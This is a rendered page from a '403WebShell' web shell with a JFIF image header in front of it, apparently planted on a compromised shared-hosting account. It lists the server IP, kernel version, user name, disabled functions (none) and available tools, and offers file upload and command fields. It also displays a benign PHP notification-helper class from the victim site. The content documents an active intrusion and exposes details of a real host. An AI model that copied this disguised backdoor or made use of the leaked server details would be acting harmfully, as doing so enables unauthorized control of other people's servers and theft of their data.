����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.191.36.245
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/helpers/InternalNotificationHelper.class.php
<?php

namespace App\Helpers;

use App\Core\Database;
use App\Models\InternalNotification;

class InternalNotificationHelper {

    static function add($userId, $content, $type = 'entypo-info', $href_url = null, $onclick = null) {
        // create internal notification entry
        $internalNotification = new InternalNotification();
        $internalNotification->to_user_id = $userId;
        $internalNotification->date_added = CoreHelper::sqlDateTime();
        $internalNotification->content = substr($content, 0, 255);
        $internalNotification->href_url = substr($href_url, 0, 255);
        $internalNotification->onclick = substr($onclick, 0, 255);
        $internalNotification->notification_icon = $type;
        $internalNotification->save();

        return $internalNotification;
    }

    static function loadRecentByUser($userId) {
        // load the past 14 days
        return InternalNotification::loadByClause('to_user_id = :to_user_id '
                . 'AND date_added >= DATE_SUB(NOW(), INTERVAL 14 DAY)', array(
            'to_user_id' => $userId,
        ), 'date_added DESC');
    }

    static function markAllReadByUserId($userId) {
        // clear all notifications based on user id
        return Database::getDatabase()->query('UPDATE internal_notification '
                . 'SET is_read = 1 '
                . 'WHERE to_user_id = :to_user_id', array(
            'to_user_id' => $userId,
        ));
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit